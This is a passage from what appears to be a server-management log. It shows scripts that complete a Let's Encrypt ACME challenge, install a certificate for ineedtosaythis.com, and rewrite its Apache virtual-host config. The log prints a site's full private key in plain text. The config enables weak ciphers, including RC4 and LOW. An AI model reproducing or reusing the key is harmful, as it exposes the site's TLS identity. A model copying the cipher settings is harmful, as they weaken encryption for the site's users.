iwBQ4xr3WTw5QTBXQ79eXBmb+1yclWB9MH+JLOcwKKta9r/7paulQ3kr2azft3BN
DeN84JdmqcbQN9dQTY0i/3k4bpnu8szoUApLGU4vidT+dCt/sQ1c5TDIVTUWcm6k
B1wk8Ie8DQKBgH7YrOYtNsIx2yEod6fCJ0rKaMDN/agoeVJT6jJ/oyvXp15kOFlM
VGwBbl7JtPpKfoPe2b3B8xSoxIynGZUoXlUGLPNRWkE7eyu0y4RWIfwevw0K9Dga
WHSSHb7OdxP3NvHdErNl26HkdJNJwS2RrpCtSgab7hXNwzT206GJOapBAoGBAMxQ
wDQd8aPmeBESh8RO5sDF0blv2mkaAk5uaDWvafgZB6S5g6AkmMxZ7ZGhZqY00oGj
D+VH7PKmkmVThe0qsbbGBKkCtEYgYLYrVmFEESW6Xf22DSCaaXGJ/QF/ojQTfglZ
l5ecyuoPVDNP2/Jn4Y9l8NOsaxB65krMbtS0xfHRAoGBANjM2AQB5ZMFhlaHgE6U
m0JQ3Ik0eC5qeFP2ZZXCvLwtul1olYcwLkiM4oF9+F3sv8ymrVqsrZ7NtZE/igNQ
rsEClr1LrswI0VNVrHIdghwhAeVULp5L/Leu8t2IX9VdW/g2xaPg6WxxMsJDSBVS
OgWCSJSmkeYRWwMFkfAzYQrm
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-14 06:01:23: Establishing a connection
2026-06-14 06:01:24: Establishing a connection
2026-06-14 06:01:24: 

PUT: /tmp/pkp810452

#!/bin/bash
if [ -d "/var/www/ineedtosaythis_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-14 06:01:24: 

chmod 755 /tmp/pkp810452; /tmp/pkp810452; rm /tmp/pkp810452

2026-06-14 06:01:24: 


1


2026-06-14 06:01:24: Establishing a connection
2026-06-14 06:01:24: 

PUT: /tmp/pkp163402

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cat > jxXSsTNQhgdP1TgZo2NQSJ-af6ZeOtrocEek-Mmk4o8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jxXSsTNQhgdP1TgZo2NQSJ-af6ZeOtrocEek-Mmk4o8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jxXSsTNQhgdP1TgZo2NQSJ-af6ZeOtrocEek-Mmk4o8
cat > r7osCRSoDPuQXfw7MQxwo5gEMHJT5ECs6COqggBSX18 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
r7osCRSoDPuQXfw7MQxwo5gEMHJT5ECs6COqggBSX18.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 r7osCRSoDPuQXfw7MQxwo5gEMHJT5ECs6COqggBSX18


2026-06-14 06:01:25: 

chmod 755 /tmp/pkp163402; /tmp/pkp163402; rm /tmp/pkp163402

2026-06-14 06:01:25: 




2026-06-14 06:01:32: Establishing a connection
2026-06-14 06:01:32: 

PUT: /tmp/pkp873781

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
rm jxXSsTNQhgdP1TgZo2NQSJ-af6ZeOtrocEek-Mmk4o8
rm r7osCRSoDPuQXfw7MQxwo5gEMHJT5ECs6COqggBSX18


2026-06-14 06:01:32: 

chmod 755 /tmp/pkp873781; /tmp/pkp873781; rm /tmp/pkp873781

2026-06-14 06:01:32: 




2026-06-14 06:01:32: Establishing a connection
2026-06-14 06:01:32: 

PUT: /tmp/pkp971762

#!/bin/bash
temp_file=$(mktemp)
TARGET=30544cb98a5f34c59eb0febd8752cfa0.crt

cat > $temp_file <<'endmsg'
0b:de:cc:0f:42:8c:56:19:33:3a:fc:b9:b6:29:ca:1d

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBQist0Z0zdp64bmeAlWFv1CPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE0MDUwMzAwWhcNMjYwOTEyMDUwMjU5WjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDRsow3b2+X+bWhV7cm5qYUwOkIkki7ngLXvLOE+x0iAP8VW7+YJ3TKrGBy
qX1cONQuFQiBx8UUf74mYnxIR1WwksgkOCAq136MGQ14ao5XwT8HCrVgP+MjeW10
8u6dmCfZ38uF75zq1NGs5RTg2a2Yp2Kdl9UGdHzn54aeGTB2FKhD1qMS2S3FKplW
VWjswO9FKqpqn4P2oC4+C2w5Zx2hVvu04ynoA0/FrmaMD6UDS2BsyVlNd441zrzu
nvaZnMYjhJ4fjFmpVLIOM2Vw9AX+4FOhLyzMvF/FaaJeBjGmCReXHVnV9BW/sjNh
I1pYvzA83vzVfq8SGi7oUbvMi4CNAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
1oxGhTVkBchFfsQEPDS9XtV0APEwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJpbmVlZHRvc2F5dGhpcy5jb22CFnd3dy5p
bmVlZHRvc2F5dGhpcy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8xNi5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdwDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5S
zQAAAZ7EuJBjAAAEAwBIMEYCIQDEQ4tgcJZwHUZsJDvOIQinCPzSA46pFPOLRnzL
/hSdtgIhAJPEBnPOimlFG4pF0nx827inn88gULr0saSMxuMqvGkXAH0AJuNkblhp
ISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGexLiPowAIAAAFAB1uK+QEAwBG
MEQCIC79NxPTGhz34uwy4xEuUaZD1FpOUa18ITijVpmR4/acAiAi5BzTZsK9Ztum
n14p+bDG4gFI+vW2ZgIL0peQDSB4WTANBgkqhkiG9w0BAQsFAAOCAQEAlnKWl57g
wWBX7WkH6kXvnuV4i/n5Dn+ZadM1fL2xMuuX/QLX3ws65Udm/0pp+puQCehOOszc
7RSDZu62pup5A2I3tk0ZWTQugwseZqrzPXwACHqNUdWBqGGR0H/ICb619Iil7spS
RJvZMB9mnR+pbTRlml2jJLNI2pqQFAqPRi7t3743PssPXRB75cs5B8d2HchtSOrM
vuW3PjCCsokOspxMvHe6SqWANCCq9duvp21QjaZKSQnzoCmjp2YvVDDIbjbPxKLf
YHUwdMgZPS4iMolfISq33RrIMLDHn0dnBuKiBxL5y6Fz0H1vL7n16lK3ZJE3FLwx
Z7vlV56sfQOLSA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDRsow3b2+X+bWh
V7cm5qYUwOkIkki7ngLXvLOE+x0iAP8VW7+YJ3TKrGByqX1cONQuFQiBx8UUf74m
YnxIR1WwksgkOCAq136MGQ14ao5XwT8HCrVgP+MjeW108u6dmCfZ38uF75zq1NGs
5RTg2a2Yp2Kdl9UGdHzn54aeGTB2FKhD1qMS2S3FKplWVWjswO9FKqpqn4P2oC4+
C2w5Zx2hVvu04ynoA0/FrmaMD6UDS2BsyVlNd441zrzunvaZnMYjhJ4fjFmpVLIO
M2Vw9AX+4FOhLyzMvF/FaaJeBjGmCReXHVnV9BW/sjNhI1pYvzA83vzVfq8SGi7o
UbvMi4CNAgMBAAECggEADe1HtTh8MZx8GjoBuBPE+idhbWLjxubPZbB1aXKmZGyr
BFTf2b/dw0Z6sFrT2ypguH/H8nCdWkdtTk4nrBg6whukLw2gNfWHxM+2zpAgdzER
LyCgW62v4kUCsUFKJOLRsL1q3ltuhpp5o3vibK2LAz1eBhKVq2mp+wVBh6IAzzK2
E/KU36m1erIJyaEj0+z1HQTJzOTm6o/uoDDghM1a8/hBEuzcqbEWSvfnWJlLPiL5
+Q2IhP4W6NNsRw/2/3XQpnFrijXQMycVu6Zw6qeY0xPg0briT7of1tV5xhTn9rKf
JlkWLbbdp2dOiSxWW6OKLMU39RV31UOMHMUIvxglQQKBgQDqb/cT8qevglvhZmGa
sjvt4zSSTFJ6MWrD3NotABKLTFAt4eDKnp10LMFrzw1IsPGdEEn8bunbzjVMw93g
B0MGsoa4ulqqLoO7QtA8fOo/5WTgc7aFL73NJ25NAZ6kYckTS60np8j9lrs5L9OX
jPuJigL7pRA8QrxJRuvQEM+CzQKBgQDk/A862SEekFDQlz94MnHtXz3xeb4Rh/2Q
XgkoG9E04SSF31M6jt50jdKOwK1NjF/EBDC7VyiLbfncPdrmWOYQzrSaXQW+5DY8
kgCgCNzu2nlN5tik80GZW96B59EALm3paGzlWDHElPPdGEI3f1WeOITxsCxxTm9q
qF+1vil0wQKBgE56ytiXq8DaP83VyyjRL7S0EZ5EBHw5XMdSgIr98jdFhbXGXs0V
ihog/WMMviKucUOl906VBp55img3TWg4phxw2R6v67f6uEiQ1krZekWHklx9AAXX
9I7f+1G2EBhxT7Gw7LdQuL0Dn4tGUmvyWyYw2EzLdgLmSEezgS924TClAoGBANkr
ARqz0MhW4H5j44sQdKJGoM3Cw3OHAQGJXa/PagN3v5bDrgCsfOgXlWlT7UjN6AlU
XA9g4xARdlXdyByMlW29TOXVcVyQvauGYNdmcHqLc15hoHgYSM+0pHuZqss8PXuP
US/WDCU/i2TV2/8cYcwUGGnLxuqTE/IYy+Tm/BRBAoGAD3Vvsx1YhbV5R94yg57n
cvpqi6/RcsjWVvnPjtG02NHIZjRavZIjK1KAj2hle1NHU77C0svRo8dLI7omM1Ry
hR0UmrEskXDjJBOSglY+Bwfo80pvm74ZMJd/47rEEEaGPwQdZ23PPZzvWAHORtyp
V51uItqwYArDrtYuPwsh7Z8=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-14 06:01:32: 

chmod 755 /tmp/pkp971762; /tmp/pkp971762; rm /tmp/pkp971762

2026-06-14 06:01:32: 


dir=/etc/ssl/certs


2026-06-14 06:01:33: 

PUT: /tmp/pkp742801

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-14 06:01:33: 

chmod 755 /tmp/pkp742801; /tmp/pkp742801; rm /tmp/pkp742801

2026-06-14 06:01:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 46

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-14 06:01:33: 

PUT: /tmp/pkp144327

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=ineedtosaythis_www_com.conf
TARGET=/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
